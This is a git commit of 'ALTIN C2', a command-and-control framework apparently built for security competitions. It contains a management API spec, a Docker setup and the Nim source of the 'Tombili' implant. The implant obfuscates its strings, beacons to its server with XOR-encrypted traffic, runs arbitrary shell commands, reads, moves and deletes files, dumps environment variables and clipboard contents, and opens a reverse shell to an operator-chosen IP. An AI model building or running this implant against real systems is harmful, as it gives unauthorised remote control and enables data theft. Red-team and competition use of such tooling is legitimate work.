Initial commit

This commit is contained in:
connorgadbois 2026-09-28 14:05:43 -05:00
commit 74df04ce5a
39 changed files with 7440 additions and 0 deletions

32
README.md Normal file
View File

@ -0,0 +1,32 @@
# ALTIN C2
## Docker Setup
Modify the environment variables in `docker-compose.yml` as needed.
```bash
docker compose up -d
```
## Development Setup
### Server
```bash
cd server
cp .env.example .env
# Modify .env as needed, recomended to use sqlite database
pip install -r requirements.txt
python3 debug_server.py
```
### Web UI
```bash
cd webui
python3 -m http.server # Starts a webserver on port 8000
```
## Implants
|Implant|Description|Language|OS|
|---|---|---|---|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|

45
docker-compose.yml Normal file
View File

@ -0,0 +1,45 @@
services:
postgres:
image: postgres:16-alpine
restart: unless-stopped
environment:
POSTGRES_USER: altin
POSTGRES_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME
POSTGRES_DB: altin
volumes:
- postgres-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U altin -d altin"]
interval: 5s
timeout: 5s
retries: 12
start_period: 10s
server:
build:
context: ./server
restart: unless-stopped
depends_on:
postgres:
condition: service_healthy
environment:
ALTIN_PORT: 3000
ALTIN_DATABASE: postgres
ALTIN_PGSQL_DATABASE: altin
ALTIN_PGSQL_HOST: postgres
ALTIN_PGSQL_PORT: 5432
ALTIN_PGSQL_USER: altin
ALTIN_PGSQL_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME (same as postgres' POSTGRES_PASSWORD)
ALTIN_JWT_SECRET: ctoV2G4E1XR8JOqd9VFiRMrbVWsXlAEg4E88_QcaRLDq41T0Rtx-OD3-FA5UDnrj # CHANGE ME
ports:
- "5000:5000"
webui:
build:
context: ./webui
restart: unless-stopped
ports:
- "8080:80"
volumes:
postgres-data:

817
docs/ManagementAPI.yml Normal file
View File

@ -0,0 +1,817 @@
openapi: 3.0.3
info:
title: Altin Management API
version: 1.0.0
description: >
REST API for managing agents, tasks, keys, and users in the Altin framework.
Every endpoint requires an `Authorization` header containing the JWT returned by
`POST /api/login`, except for `POST /api/login` itself and the `/api/users`
endpoints, which are unauthenticated.
servers:
- url: http://localhost:5000
description: Debug server
security:
- BearerAuth: []
components:
securitySchemes:
BearerAuth:
type: apiKey
in: header
name: Authorization
description: JWT token returned by `POST /api/login`, sent as the raw header value
schemas:
LoginRequest:
type: object
required:
- username
- password
properties:
username:
type: string
password:
type: string
format: password
LoginResponse:
type: object
properties:
message:
type: string
token:
type: string
Agent:
type: object
properties:
id:
type: string
format: uuid
implant_id:
type: string
ip:
type: string
os:
type: string
commands:
type: array
items:
type: object
tags:
type: array
items:
type: string
last_checkin:
type: string
format: date-time
AgentsResponse:
type: object
properties:
agents:
type: array
items:
$ref: '#/components/schemas/Agent'
Task:
type: object
properties:
id:
type: string
format: uuid
agent:
type: string
format: uuid
task:
type: string
args:
type: array
items:
type: string
sent:
type: boolean
completed:
type: boolean
TasksResponse:
type: object
properties:
tasks:
type: array
items:
$ref: '#/components/schemas/Task'
TaskResult:
type: object
properties:
id:
type: string
format: uuid
task:
type: string
format: uuid
result:
type: string
nullable: true
timestamp:
type: string
description: Timestamp formatted by the server as `YYYY-MM-DD HH:MM:SS.ffffff`
example: '2026-09-26 12:34:56.789012'
TaskResultsResponse:
type: object
properties:
results:
type: array
items:
$ref: '#/components/schemas/TaskResult'
Key:
type: object
properties:
id:
type: string
format: uuid
name:
type: string
key:
type: string
KeysResponse:
type: object
properties:
keys:
type: array
items:
$ref: '#/components/schemas/Key'
KeyRequest:
type: object
required:
- name
- key
properties:
name:
type: string
key:
type: string
KeyDeleteRequest:
type: object
required:
- id
properties:
id:
type: string
format: uuid
User:
type: object
properties:
id:
type: string
format: uuid
username:
type: string
admin:
type: boolean
UsersResponse:
type: object
properties:
users:
type: array
items:
$ref: '#/components/schemas/User'
UserRequest:
type: object
required:
- username
- password
- admin
properties:
username:
type: string
password:
type: string
format: password
admin:
type: boolean
UserPatchRequest:
type: object
required:
- id
properties:
id:
type: string
format: uuid
username:
type: string
password:
type: string
format: password
admin:
type: boolean
TaskCreateRequest:
type: object
required:
- agent_id
- command
- args
properties:
agent_id:
type: string
format: uuid
command:
type: string
args:
type: array
items:
type: string
TagAgentRequest:
type: object
required:
- tags
description: Tags to add to the agent (POST) or remove from the agent (DELETE)
properties:
tags:
type: array
items:
type: string
UserDeleteRequest:
type: object
required:
- id
properties:
id:
type: string
format: uuid
ErrorResponse:
type: object
properties:
message:
type: string
MessageResponse:
type: object
properties:
message:
type: string
paths:
/api/login:
post:
summary: User login
description: Authenticate a user and return a JWT token
operationId: login
security: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/LoginRequest'
responses:
'200':
description: Successful login
content:
application/json:
schema:
$ref: '#/components/schemas/LoginResponse'
'400':
description: Invalid request - missing username or password
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Invalid username or password
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/agents:
get:
summary: List all agents
description: >
Retrieve a list of all registered agents.
Note: the `ip`, `implant` and `os` filters are accepted but are not applied
to the returned list - the full agent list is always returned.
operationId: getAgents
security:
- BearerAuth: []
parameters:
- name: ip
in: query
schema:
type: string
description: Filter agents by IP address (currently not applied)
- name: implant
in: query
schema:
type: string
description: Filter agents by implant ID (currently not applied)
- name: os
in: query
schema:
type: string
description: Filter agents by operating system (currently not applied)
responses:
'200':
description: List of agents
content:
application/json:
schema:
$ref: '#/components/schemas/AgentsResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/agents/{agent_id}:
get:
summary: Get agent by ID
description: Retrieve details of a specific agent
operationId: getAgent
security:
- BearerAuth: []
parameters:
- name: agent_id
in: path
required: true
schema:
type: string
format: uuid
description: Agent UUID
responses:
'200':
description: Agent details
content:
application/json:
schema:
$ref: '#/components/schemas/Agent'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Agent not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
delete:
summary: Delete an agent
description: Delete a specific agent
operationId: deleteAgent
security:
- BearerAuth: []
parameters:
- name: agent_id
in: path
required: true
schema:
type: string
format: uuid
description: Agent UUID
responses:
'204':
description: The agent was deleted
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Agent not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/agents/{agent_id}/tags:
post:
summary: Add tags to an agent
description: Append tags to an existing agent. Tags already present are ignored.
operationId: tagAgent
security:
- BearerAuth: []
parameters:
- name: agent_id
in: path
required: true
schema:
type: string
format: uuid
description: Agent UUID
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/TagAgentRequest'
responses:
'201':
description: Agent updated
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing tags or tags is not an array
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Agent not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
delete:
summary: Remove tags from an agent
description: >
Remove tags from an existing agent. Tags that are not present are ignored.
Note: the current implementation does not modify the stored tags - it
responds with 201 and the agent's tag list is left unchanged.
operationId: untagAgent
security:
- BearerAuth: []
parameters:
- name: agent_id
in: path
required: true
schema:
type: string
format: uuid
description: Agent UUID
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/TagAgentRequest'
responses:
'201':
description: Agent updated
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing tags or tags is not an array
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Agent not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/tasks:
get:
summary: List tasks
description: Retrieve tasks with optional filtering
operationId: getTasks
security:
- BearerAuth: []
parameters:
- name: id
in: query
schema:
type: string
format: uuid
description: Filter by agent ID
- name: agent
in: query
schema:
type: string
format: uuid
description: Filter by agent ID (alias for id)
- name: sent
in: query
schema:
type: string
enum: ['true', 'false']
description: Filter by sent status
- name: completed
in: query
schema:
type: string
enum: ['true', 'false']
description: Filter by completed status
responses:
'200':
description: List of tasks
content:
application/json:
schema:
$ref: '#/components/schemas/TasksResponse'
'400':
description: Invalid query parameter - sent or completed is not 'true' or 'false'
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
post:
summary: Create a new task
description: >
Create a task for a specific agent with a command and arguments. The number of
arguments must exactly match the number of required arguments declared by the
agent for that command.
operationId: createTask
security:
- BearerAuth: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/TaskCreateRequest'
responses:
'201':
description: Task sent
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing body fields, or the command is not supported by the agent
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Agent not found, or the number of supplied arguments does not match the required arguments
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/task-results:
get:
summary: List task results
description: >
Retrieve task results with optional filtering.
Note: filtering by `task_id` only takes effect when the undocumented `agent`
query parameter is supplied as well; sending `task_id` on its own results in
a server error.
operationId: getTaskResults
security:
- BearerAuth: []
parameters:
- name: id
in: query
schema:
type: string
format: uuid
description: Filter by result ID
- name: task_id
in: query
schema:
type: string
format: uuid
description: Filter by task ID (requires the `agent` query parameter)
- name: agent
in: query
schema:
type: string
description: >
Has no effect on its own; it must be supplied together with `task_id`
for the task ID filter to be applied
responses:
'200':
description: List of task results
content:
application/json:
schema:
$ref: '#/components/schemas/TaskResultsResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'500':
description: Server error - `task_id` was supplied without the `agent` query parameter
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/keys:
get:
summary: List all keys
description: Retrieve a list of all stored keys
operationId: getKeys
security:
- BearerAuth: []
responses:
'200':
description: List of keys
content:
application/json:
schema:
$ref: '#/components/schemas/KeysResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
post:
summary: Create a new key
description: Store a new key with a name
operationId: createKey
security:
- BearerAuth: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/KeyRequest'
responses:
'200':
description: A key with that name already exists - no key was created
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'201':
description: Key created successfully
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing key or name
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
delete:
summary: Delete a key
description: Delete a key by its ID
operationId: deleteKey
security:
- BearerAuth: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/KeyDeleteRequest'
responses:
'204':
description: The key was deleted
'400':
description: Invalid request - missing id
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'401':
description: Unauthorized - missing, expired or invalid token
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: Key not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
/api/users:
get:
summary: List all users
description: Retrieve a list of all users (unauthenticated endpoint)
operationId: getUsers
security: []
responses:
'200':
description: List of users
content:
application/json:
schema:
$ref: '#/components/schemas/UsersResponse'
post:
summary: Create a new user
description: Register a new user account (unauthenticated endpoint)
operationId: createUser
security: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/UserRequest'
responses:
'200':
description: Success - user created successfully
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing fields, or admin is not a boolean
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'403':
description: A user with that username already exists
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
patch:
summary: Update a user
description: >
Update user details (username, password, or admin status) by ID
(unauthenticated endpoint).
Note: only one field is applied per request, in the order username, then
password, then admin - whichever comes first in the body.
operationId: editUser
security: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/UserPatchRequest'
responses:
'200':
description: User updated
content:
application/json:
schema:
$ref: '#/components/schemas/MessageResponse'
'400':
description: Invalid request - missing id
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: User not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'500':
description: Server error - currently returned whenever `admin` is supplied
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
delete:
summary: Delete a user
description: Delete a user by ID (unauthenticated endpoint)
operationId: deleteUser
security: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/UserDeleteRequest'
responses:
'204':
description: User deleted
'400':
description: Invalid request - missing id
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
'404':
description: User not found
content:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'

View File

@ -0,0 +1,30 @@
# Tombili Agent
## Configuring
Change the values in `src/config.nim` as needed.
## Compiling
```bash
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
# If compiling for Windows from MacOS or Linux:
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
```
## Commands
|Command|Platform|Description|Arguments|
|---|---|---|---|
|`shell`|Windows, Linux|Run a command|command: str|
|`getsleep`|Windows, Linux|Get the current sleep time||
|`setsleep`|Windows, Linux|Set the sleep time between callbacks|sleep: float, jitter: float|
|`whoami`|Windows, Linux|Get the user that Tombili is running as||
|`cat`|Windows, Linux|Read the contents of a file|path: str|
|`fileinfo`|Windows, Linux|Get information about a file|path: str|
|`mv`|Windows, Linux|Move a file or directory|source: str, destination: str|
|`rm`|Windows, Linux|Delete a file|path: str|
|`getenv`|Windows, Linux|Get all environment variables||
|`pid`|Windows, Linux|Get the ID of the current process||
|`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int|
|`msgbox`|Windows|Display a message box|title: str, body: str|
|`getclipboard`|Windows|Get the contents of the clipboard||
|`kill`|Windows, Linux|Kill the agent||

View File

@ -0,0 +1,325 @@
import json
import shared
import utils
when defined(linux):
import linux
when defined(windows):
import windows
type
CommandArgument* = object
name*: string
arg_type*: string
description: string
required: bool
Command* = object
command*: string
description*: string
args*: seq[CommandArgument]
function*: proc(task: JsonNode): string
var commands*: seq[Command] = @[]
# Load commands
when defined(linux):
# shell
commands.add(
Command(
command: obf("shell"),
description: obf("Run a command on the system using /bin/sh"),
args: @[
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
],
function: linux.shell
)
)
# getsleep
commands.add(
Command(
command: obf("getsleep"),
description: obf("Get the current sleep time"),
args: @[],
function: shared.getSleep
)
)
# setsleep
commands.add(
Command(
command: obf("setsleep"),
description: obf("Set the sleep time between callbacks"),
args: @[
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
],
function: shared.setSleep
)
)
# whoami
commands.add(
Command(
command: obf("whoami"),
description: obf("Get the user that Tombili is running as"),
args: @[],
function: linux.whoami
)
)
# cat
commands.add(
Command(
command: obf("cat"),
description: obf("Read the contents of a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
],
function: shared.cat
)
)
# fileinfo
commands.add(
Command(
command: obf("fileinfo"),
description: obf("Get information about a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file"), required: true)
],
function: shared.fileinfo
)
)
# mv
commands.add(
Command(
command: obf("mv"),
description: obf("Move a file or directory"),
args: @[
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
CommandArgument(name: obf("destination"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
],
function: shared.mv
)
)
# rm
commands.add(
Command(
command: obf("rm"),
description: obf("Delete a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
],
function: shared.rm
)
)
# getenv
commands.add(
Command(
command: obf("getenv"),
description: obf("Get all environemnt variables"),
args: @[],
function: shared.getEnv
)
)
# reverseshell
commands.add(
Command(
command: obf("reverseshell"),
description: obf("Start a reverse shell"),
args: @[
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
],
function: shared.reverseShell
)
)
# pid
commands.add(
Command(
command: obf("pid"),
description: obf("Get the id of the current process"),
args: @[],
function: shared.pid
)
)
# kill
commands.add(
Command(
command: obf("kill"),
description: obf("Kill the agent"),
args: @[],
function: shared.kill
)
)
when defined(windows):
# shell
commands.add(
Command(
command: obf("shell"),
description: obf("Run a command on the system using cmd"),
args: @[
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
],
function: windows.shell
)
)
# getsleep
commands.add(
Command(
command: obf("getsleep"),
description: obf("Get the current sleep time"),
args: @[],
function: shared.getSleep
)
)
# setsleep
commands.add(
Command(
command: obf("setsleep"),
description: obf("Set the sleep time between callbacks"),
args: @[
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
],
function: shared.setSleep
)
)
# whoami
commands.add(
Command(
command: obf("whoami"),
description: obf("Get the user that Tombili is running as"),
args: @[],
function: windows.whoami
)
)
# msgbox
commands.add(
Command(
command: obf("msgbox"),
description: obf("Display a message box"),
args: @[
CommandArgument(name: obf("title"), arg_type: obf("str"), description: obf("The title of the message box"), required: true),
CommandArgument(name: obf("body"), arg_type: obf("str"), description: obf("The body of the message box"), required: true)
],
function: windows.msgBox
)
)
# cat
commands.add(
Command(
command: obf("cat"),
description: obf("Read the contents of a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
],
function: shared.cat
)
)
# fileinfo
commands.add(
Command(
command: obf("fileinfo"),
description: obf("Get information about a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
],
function: shared.fileinfo
)
)
# mv
commands.add(
Command(
command: obf("mv"),
description: obf("Move a file or directory"),
args: @[
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
CommandArgument(name: obf("directory"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
],
function: shared.mv
)
)
# rm
commands.add(
Command(
command: obf("rm"),
description: obf("Delete a file"),
args: @[
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
],
function: shared.rm
)
)
# getenv
commands.add(
Command(
command: obf("getenv"),
description: obf("Get all environemnt variables"),
args: @[],
function: shared.getEnv
)
)
# getclipboard
commands.add(
Command(
command: obf("getclipboard"),
description: obf("Get the contents of the clipboard"),
args: @[],
function: windows.getClipboard
)
)
# reverseshell
commands.add(
Command(
command: obf("reverseshell"),
description: obf("Start a reverse shell"),
args: @[
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
],
function: shared.reverseShell
)
)
# pid
commands.add(
Command(
command: obf("pid"),
description: obf("Get the id of the current process"),
args: @[],
function: shared.pid
)
)
# kill
commands.add(
Command(
command: obf("kill"),
description: obf("Kill the agent"),
args: @[],
function: shared.kill
)
)

View File

@ -0,0 +1,133 @@
import httpClient
import json
import net
import config
import commands
import utils
const
ACTION_CHECKIN*: int = 1
ACTION_REGISTER*: int = 2
ACTION_TASK_RESULT*: int = 3
STATUS_ERROR*: int = 0
STATUS_CONTINUE*: int = 1
STATUS_TASKS*: int = 2
STATUS_REGISTER*: int = 3
STATUS_INVALID*: int = 4
let client: HttpClient = newHttpClient()
let ip: string = $getPrimaryIPAddr()
when defined(windows):
var os: string = obf("windows")
when defined(linux):
var os: string = obf("linux")
proc xorData(plain: string, key: string): string =
result = newString(plain.len)
for i in 0 ..< plain.len:
let plainByte = ord(plain[i])
let keyByte = ord(key[i mod key.len])
result[i] = chr(plainByte xor keyByte)
return result
proc sendRegistration*(commands: seq[Command]): int =
var payload: JsonNode = %*{
obf("implant_id"): IMPLANT_ID,
obf("ip"): ip,
obf("action"): ACTION_REGISTER,
obf("registration"): %*{
obf( "os"): os,
obf("commands"): []
}
}
for command in commands:
var commandJson: JsonNode = %*{
obf("command"): command.command,
obf("description"): command.description,
obf("args"): command.args
}
payload[obf("registration")][obf("commands")].add(commandJson)
var encPayload: string = xorData($payload, XOR_KEY)
var response: string
var responseJson: JsonNode
try:
response = client.postContent(SERVER_BASE_URL, encPayload)
responseJson = parseJson(xorData(response, XOR_KEY))
except:
raise newException(ValueError, obf("Invalid registration response"))
if responseJson[obf("status")].getInt in @[STATUS_ERROR, STATUS_CONTINUE, STATUS_TASKS, STATUS_REGISTER, STATUS_INVALID]:
return responseJson[obf("status")].getInt
else:
raise newException(ValueError, obf("Invalid respose status code"))
proc sendTaskResult*(taskId: string, taskResult: string): int =
var payload: JsonNode = %*{
obf("implant_id"): IMPLANT_ID,
obf("ip"): ip,
obf("action"): ACTION_TASK_RESULT,
obf("result"): {
obf("task_id"): task_id,
obf("result"): taskResult
}
}
var encPayload: string = xorData($payload, XOR_KEY)
var response: string = client.postContent(SERVER_BASE_URL, encPayload)
var responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
return responseJson[obf("status")].getInt
proc checkin*(): void =
var payload: JsonNode = %*{
obf("implant_id"): IMPLANT_ID,
obf("ip"): ip,
obf("action"): ACTION_CHECKIN
}
var encPayload: string = xorData($payload, XOR_KEY)
let response: string = client.postContent(SERVER_BASE_URL, encPayload)
let responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
when not defined(release):
echo "Recieved checkin status: " & $responseJson[obf("status")].getInt
case responseJson[obf("status")].getInt
of STATUS_CONTINUE:
discard
of STATUS_INVALID:
raise newException(ValueError, obf("Data sent to server was invalid"))
of STATUS_REGISTER:
try:
discard sendRegistration(commands.commands)
except:
discard
of STATUS_TASKS:
var tasks: seq[JsonNode] = responseJson[obf("tasks")].getElems
when not defined(release):
echo "Recieved tasks: " & $tasks
for task in tasks:
for command in commands.commands:
if command.command == task[obf("task")].getStr:
var taskResult: string = command.function(task)
var taskResultStatus: int = sendTaskResult(task["task_id"].getStr, taskResult)
if not defined(release):
echo "Sent task results for task " & task["task_id"].getStr & " and got status " & $taskResultStatus
else:
raise newException(ValueError, obf("Invalid respose status code"))

View File

@ -0,0 +1,10 @@
import utils
const
IMPLANT_ID*: string = obf("tombili")
SERVER_BASE_URL*: string = obf("http://127.0.0.1:3000/")
REG_FAIL_LIMIT*: int = 10 # 0 for no limit
REG_FAIL_RETRY_SLEEP*: int = 10 # seconds
CHECKIN_SLEEP*: int = 10 # seconds
CHECKIN_SLEEP_JITTER*: int = 5 # seconds
XOR_KEY*: string = obf("asdf") # must be a key in the server's key list

View File

@ -0,0 +1,26 @@
import osproc
import posix
import json
import utils
proc shell*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var command: string = args[0].getStr
try:
var commandOutput: string
(commandOutput, _) = execCmdEx(command)
return commandOutput
except:
return obf("Failed to run the command")
proc whoami*(task: JsonNode): string =
try:
var passwd: ptr Passwd = getpwuid(geteuid())
return obf("Username: ") & $passwd.pw_name & obf("\nUID: ") & $passwd.pw_uid & obf("\nGID: ") & $passwd.pw_gid & obf("\nHome: ") & $passwd.pw_dir & obf("\nShell: ") & $passwd.pw_shell
except Exception as e:
return obf("Failed to get user info: ") & e.msg

View File

@ -0,0 +1,55 @@
import config
import communication
import commands
import sleep
proc main(): void =
var registrationFails: int = 0
var status: int
# Registration loop
while true:
try:
status = sendRegistration(commands.commands)
except Exception as e:
when not defined(release):
echo "Registration failed: " & e.msg
registrationFails += 1
echo "Registration fails: " & $registrationFails
status = -1
when not defined(release):
echo "Registration sent, status: " & $status
if status == STATUS_CONTINUE:
break
else:
registrationFails += 1
when not defined(release):
echo "Registration fails: " & $registrationFails
if registrationFails >= REG_FAIL_LIMIT:
when not defined(release):
echo "Registration fail limit hit, quitting..."
quit(0)
else:
doSleep()
# Checkin loop
while true:
try:
checkin()
except Exception as e:
when not defined(release):
echo "Checkin failed: " & e.msg
discard
doSleep()
if isMainModule:
main()

View File

@ -0,0 +1,63 @@
import net
import osproc
import streams
import utils
type
ShellSendData = tuple
shellStdOut: Stream
socket: Socket
ShellRecvData = tuple
shellStdIn: Stream
socket: Socket
proc shellSend(args: ShellSendData) {.thread.} =
var data: string
while true:
try:
data = args.shellStdOut.readLine()
args.socket.send(data & "\n")
except:
discard
proc shellRecv(args: ShellRecvData) {.thread.} =
var data: string
while true:
data = args.socket.recvLine()
if data == "" or data == obf("exit"):
args.socket.close()
break
args.shellStdIn.writeLine(data & "\n")
args.shellStdIn.flush()
proc startReverseShell*(ip: string, port: int): void =
var socket = newSocket()
socket.connect(ip, Port(port))
var shellProcess: Process
when defined(linux):
shellProcess = startProcess(command=obf("/bin/bash"), args=[obf("-i")], options={poStdErrToStdOut})
when defined(windows):
shellProcess = startProcess(command=obf("powershell"), options={poStdErrToStdOut})
when defined(freebsd):
shellProcess = startProcess(command=obf("/bin/sh"), args=["-i"], options={poStdErrToStdOut})
var shellStdIn = shellProcess.inputStream
var shellStdOut = shellProcess.outputStream
var sendThread: Thread[ShellSendData]
var recvThread: Thread[ShellRecvData]
createThread(sendThread, shellSend, (shellStdOut, socket))
createThread(recvThread, shellRecv, (shellStdIn, socket))
sendThread.joinThread()
recvThread.joinThread()
shellProcess.close()

View File

@ -0,0 +1,145 @@
import json
import os
import times
import threadpool
import sleep
import revShell
import utils
const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss")
proc cat*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var filePath: string = args[0].getStr
try:
if fileExists(filePath):
return readFile(filePath)
else:
return obf("File does not exists")
except Exception as e:
return obf("Failed to read the file: ") & e.msg
proc fileInfo*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var filePath: string = args[0].getStr
try:
var info: FileInfo = getFileInfo(filePath)
var kind: string
case info.kind:
of PathComponent.pcFile:
kind = obf("file")
of PathComponent.pcLinkToFile:
kind = obf("link to file")
of PathComponent.pcDir:
kind = obf("directory")
of PathComponent.pcLinkToDir:
kind = obf("link to directory")
var lastAccessString: string = format(info.lastAccessTime, DATE_FORMAT, utc())
var lastWriteString: string = format(info.lastWriteTime, DATE_FORMAT, utc())
var creationString: string = format(info.creationTime, DATE_FORMAT, utc())
return obf("Kind: ") & $kind & obf("\nSize: ") & $info.size & obf("\nLast Access: ") & lastAccessString & obf("\nLast Write: ") & lastWriteString & obf("\nCreated: ") & creationString & obf("\nPermissions: ") & $info.permissions
except Exception as e:
return obf("Failed to get file info: ") & e.msg
proc mv*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var source: string = args[0].getStr
var destination: string = args[1].getStr
try:
if dirExists(source):
if dirExists(destination):
moveDir(source, destination/splitPath(source).tail)
else:
moveDir(source, destination)
elif dirExists(destination):
moveFile(source, destination/splitPath(source).tail)
else:
moveFile(source, destination)
except Exception as e:
return obf("") & e.msg
result = obf("Moved ") & source & obf(" to ") & destination
proc rm*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var filePath: string = args[0].getStr
try:
if fileExists(filePath):
removeFile(filePath)
return obf("Deleted the file")
else:
return obf("File does not exists")
except Exception as e:
return obf("Failed to read the file: ") & e.msg
proc getEnv*(task: JsonNode): string =
var envVars: string
try:
for key, value in envPairs():
envVars = envVars & $key & "=" & $value & "\n"
return envVars
except Exception as e:
return obf("Failed to get environment variables: ") & e.msg
proc getSleep*(task: JsonNode): string =
return obf("Sleep time: ") & $sleepTime & obf("\nJitter time: ") & $jitterTime
proc setSleep*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var setSleepTime: int = args[0].getInt
var setJitterTime: int = args[1].getInt
if setSleepTime < 0 or setJitterTime < 0:
return obf("Sleep time and jitter time cannot be negative")
if setJitterTime > setSleepTime:
return obf("Jitter time cannot be greater than sleep time")
sleepTime = setSleepTime
jitterTime = setJitterTime
return obf("Set sleep time to ") & $sleepTime & obf("s with ") & $jitterTime & obf("s of jitter")
proc reverseShell*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var ip: string = args[0].getStr
var port: int = args[1].getInt
try:
spawn startReverseShell(ip, port)
except Exception as e:
return obf("Failed to start the reverse shell: ") & $e.msg
